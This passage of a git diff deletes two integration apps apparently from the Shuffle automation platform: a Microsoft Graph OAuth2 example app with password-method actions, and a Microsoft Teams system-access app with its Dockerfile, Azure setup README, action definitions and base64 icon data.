- example: '{"data": "this is a test", "this_is_a_number": 1, "this_is_a_list": [{"item": [{"hello": "there", "how_is_this": {"sub_in_sub": [{"another": "list"}]}}]}, {"item": "2"}], "subobject": {"data": "subobject"}}' - schema: - type: string - - name: get_password_methods - description: Get available password methods for your user - returns: - example: '{"data": "this is a test", "this_is_a_number": 1, "this_is_a_list": [{"item": [{"hello": "there", "how_is_this": {"sub_in_sub": [{"another": "list"}]}}]}, {"item": "2"}], "subobject": {"data": "subobject"}}' - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/microsoft-security-oauth2/1.0.0/requirements.txt b/microsoft-security-oauth2/1.0.0/requirements.txt deleted file mode 100644 index 9d84d358..00000000 --- a/microsoft-security-oauth2/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 diff --git a/microsoft-security-oauth2/1.0.0/src/app.py b/microsoft-security-oauth2/1.0.0/src/app.py deleted file mode 100644 index 77d425d2..00000000 --- a/microsoft-security-oauth2/1.0.0/src/app.py +++ /dev/null @@ -1,55 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import asyncio -import json -import random -import time - -import requests -from walkoff_app_sdk.app_base import AppBase - -class MicrosoftSecurity(AppBase): - __version__ = "1.0.0" - app_name = "oauth2-example" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def authenticate(self, access_token, refresh_token): - s = requests.Session() - s.headers = { - "Content-Type": "application/json", - "Authorization": "Bearer %s" % access_token - } - - return s - - # UserAuthenticationMethod.ReadWrite.All - def reset_password(self, access_token, refresh_token, userId, passwordId, newPassword=""): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(access_token, refresh_token) - - url = "https://graph.microsoft.com/beta/users/%s/authentication/passwordMethods/%s/resetPassword" % (userId, passwordId) - response = session.post(url) - print(response.status_code) - return response.text - - # UserAuthenticationMethod.ReadWrite.All - def get_password_methods(self, access_token, refresh_token): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(access_token, refresh_token) - - url = "https://graph.microsoft.com/beta/me/authentication/passwordMethods" - response = session.get(url) - print(response.status_code) - return response.text - -if __name__ == "__main__": - MicrosoftSecurity.run() diff --git a/microsoft-teams-system-access/1.0.0/Dockerfile b/microsoft-teams-system-access/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/microsoft-teams-system-access/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/microsoft-teams-system-access/1.0.0/README.md b/microsoft-teams-system-access/1.0.0/README.md deleted file mode 100644 index 4ef89c3d..00000000 --- a/microsoft-teams-system-access/1.0.0/README.md +++ /dev/null @@ -1,33 +0,0 @@ -## Microsoft Security and Compliance -- An app to interact with Security and Compliance solutions from microsoft. - -## How to register app in Active Directory on Azure portal ? - -### Step 1: Go to the Azure portal - - - You'll need to go to the [Azure Portal](https://portal.azure.com/) and login. - -### Step 2: Go to the Azure Active Directory Service - -- Once you are logged into Azure, Register a new application so you can access -the Microsoft Graph API. To register a new application go to your **Azure Active Directory** -and once there go down to **App Registrations** a new window will pop up. - -### Step 3: Register a New App -- Set name of your choice. -- Select supported account type. -- You don't have to set redirect URL. - -### Step 4: Generate client secret -- Go to your application → Certificates & Secrets → New client Secret. - -## Note -- You'll need Tenant ID, Client ID & client Secret for authentication (Tenant ID & Client ID are available under application overview and for Client Secret go to Certificate & Secrets section). -- Make sure your application has adequate permissions. -- Each action may require different permission to run. To add permissions, Go to your application in azure portal → API permission → Add permission (some of the permissions will require admin consent). -- After adding permission , Grant consent. -- Be sure to use work / business account. Most of the actions are not supported on personal account. - - -## References -- To read more about required permission for each action you can refer to [Security](https://docs.microsoft.com/en-us/graph/api/resources/security-api-overview?view=graph-rest-1.0) & [compliance](https://docs.microsoft.com/en-us/graph/api/resources/complianceapioverview?view=graph-rest-beta)'s official documentation. diff --git a/microsoft-teams-system-access/1.0.0/api.yaml b/microsoft-teams-system-access/1.0.0/api.yaml deleted file mode 100644 index 857fc2a1..00000000 --- a/microsoft-teams-system-access/1.0.0/api.yaml +++ /dev/null @@ -1,190 +0,0 @@ -app_version: 1.0.0 -name: Microsoft Teams System Access -description: An app for the Microsoft teams WITHOUT delegated access -contact_info: - name: "@frikkylikeme" - url: https://frikky.com - email: frikky@shuffler.io -tags: - - Communication - - Comms - - Chat -categories: - - Comms -authentication: - required: true - parameters: - - name: tenant_id - description: The tenant of the OAuth client - example: "*****" - required: true - schema: - type: string - - name: client_id - description: The client id to use - example: "*****" - multiline: false - required: true - schema: - type: string - - name: client_secret - description: The secret key to use - multiline: false - example: "*****" - required: true - schema: - type: string -actions: - - name: list_teams - description: Returns all teams for a user - parameters: - - name: user_id - description: The user to check for - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: list_members_in_team - description: Returns all members in a team - parameters: - - name: team_id - description: The team to check - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: list_channels_in_team - description: Returns all channels for a team - parameters: - - name: team_id - description: The user to check for - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: create_channel_in_team - description: Creates a channel in a team - parameters: - - name: team_id - description: The user to check for - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: name - description: Add person to channel - example: "The coolest channel" - required: true - schema: - type: string - - name: description - description: The description to use for the channel - example: "And it really is only for cool people" - required: true - schema: - type: string - - name: add_user_to_channel - description: Adds a user to a channel - parameters: - - name: team_id - description: The user to check for - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: channel_id - description: The channel ID to use - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: user_id - description: The user to add - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: role - description: The role to give them - required: true - options: - - member - - owner - schema: - type: string - #- name: send_message_to_channel - # description: Sends a message to a channel - # parameters: - # - name: team_id - # description: The user to check for - # example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - # required: true - # schema: - # type: string - # - name: channel_id - # description: The channel ID to use - # example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - # required: true - # schema: - # type: string - # - name: user_id - # description: The user ID to use - # example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - # required: true - # schema: - # type: string - # - name: message - # description: The message to send - # example: "Have a nice weekend!!" - # required: true - # schema: - # type: string - - name: list_apps_in_team - description: Deletes a channel from a team - parameters: - - name: team_id - description: The user to check for - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: get_app_in_team - description: Gets and app installed in a team - parameters: - - name: team_id - description: The user to check for - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: app_id - description: The app ID to use - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: add_webhook_to_team - description: Adds a webhook to a team - parameters: - - name: team_id - description: The user to check for - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: delete_channel - description: Deletes a channel from a team - parameters: - - name: team_id - description: The user to check for - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string - - name: channel_id - description: The channel ID to use - example: "b6b6c99f-bf87-4815-9f62-82aef893c634" - required: true - schema: - type: string -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK4AAACuCAIAAAAgbqG5AAAACXBIWXMAAA7zAAAO8wEcU5k6AAAAEXRFWHRUaXRsZQBQREYgQ3JlYXRvckFevCgAAAATdEVYdEF1dGhvcgBQREYgVG9vbHMgQUcbz3cwAAAALXpUWHREZXNjcmlwdGlvbgAACJnLKCkpsNLXLy8v1ytISdMtyc/PKdZLzs8FAG6fCPGXryy4AABVtElEQVR42u29iXtURfovnn/qzujozL13ZhwJO0mAJCDKKioIjgNBIAGSIC6jM86IKC64AqKAsgphlS2GsCZAkt7T6X3fsnW6+36q3nOqq8856YSQ+H1+/nKeSj/nvKlTXV31qbferapKcurldrstFovZbA6FQkTp7++3qJfI5vF48Gi1WoPBIFEGBwfxFr2byWSI6PP56EXcECWdTovScE/EQCBAFK/XSxSUILINDAwQEVUiCiopaiKy9fb24jGbzYbDYaK4XC41VwZVJWIqlSJKNErZbN0Ody6bYymXs1rtoJitlngyQbR4PM4oFpvd4WJZeDa73W614seaYpEofUEilTSzbzDZrTbKg6u7u5u+NBqNomKg4NupJvgUPwH1JCJqTpS+vj59m1PX4EJz6buGyqc2p9JENnSNyDY0NDRc1+BfeCzRfx/anUovAgVcMhRENoICXh8lFPx+P7WOHgogPhQUcEUiER0U8tnQGRneydFonBNMzm476kUJj2ZzF6iJRIJe5FBg2bqdVjVbBkggGMViSjbkp2FgsxVAAfUHEVWixkwmk+J3FYECfgtlw7v6rhFtLroGrwsooA01iDGEAtqchq4xFFCcIRTEkBozFPDFIpsojaCAbKg0EalaoOi5AiioEmXDt+v62ISRRBQ0KGXjUMjQSKb2wic6gyEhQ1CwgSKgkM3hJ5h4ykMhFoux7rRqoGDn79ri0QQrPZMlKODCvwy5AlEEV2CIUa+enh7KRlDAzxdcQYaCvs2H4woyFEDXd40YfgZQcKsXWqqPX6g9HtGaeAcgJSJ